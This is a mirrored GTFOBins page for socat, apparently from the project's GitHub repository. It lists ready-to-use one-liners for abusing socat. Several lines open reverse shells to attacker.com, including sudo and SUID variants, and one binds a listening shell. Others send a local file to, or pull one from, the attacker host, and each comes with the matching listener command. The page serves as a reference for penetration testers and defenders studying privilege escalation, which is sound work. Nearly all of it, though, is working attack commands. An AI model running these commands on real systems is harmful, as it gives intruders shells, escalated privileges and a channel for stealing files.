1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00
GTFOBins.github.io/_gtfobins/socat.md

1.6 KiB

functions
reverse-shell bind-shell sudo limited-suid file-upload file-download
description code
Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell. RHOST=attacker.com RPORT=12345 socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane
description code
Run ``socat FILE:`tty`,raw,echo=0 TCP:target.com:12345`` on the attacker box to connect to the shell. LPORT=12345 socat TCP-LISTEN:$LPORT,reuseaddr,fork EXEC:sh,pty,stderr,setsid,sigint,sane
description code
Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell. RHOST=attacker.com RPORT=12345 sudo -E socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane
description code
Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell. RHOST=attacker.com RPORT=12345 ./socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane
description code
Run ``socat -u tcp-listen:12345,reuseaddr open:file_to_save,creat`` on the attacker box to collect the file. RHOST=attacker.com RPORT=12345 LFILE=file_to_send ./socat -u file:$LFILE tcp-connect:$RHOST:$RPORT
description code
Run ``socat -u file:file_to_send tcp-listen:12345,reuseaddr`` on the attacker box to send the file. RHOST=attacker.com RPORT=12345 LFILE=file_to_save ./socat -u tcp-connect:$RHOST:$RPORT open:$LFILE,creat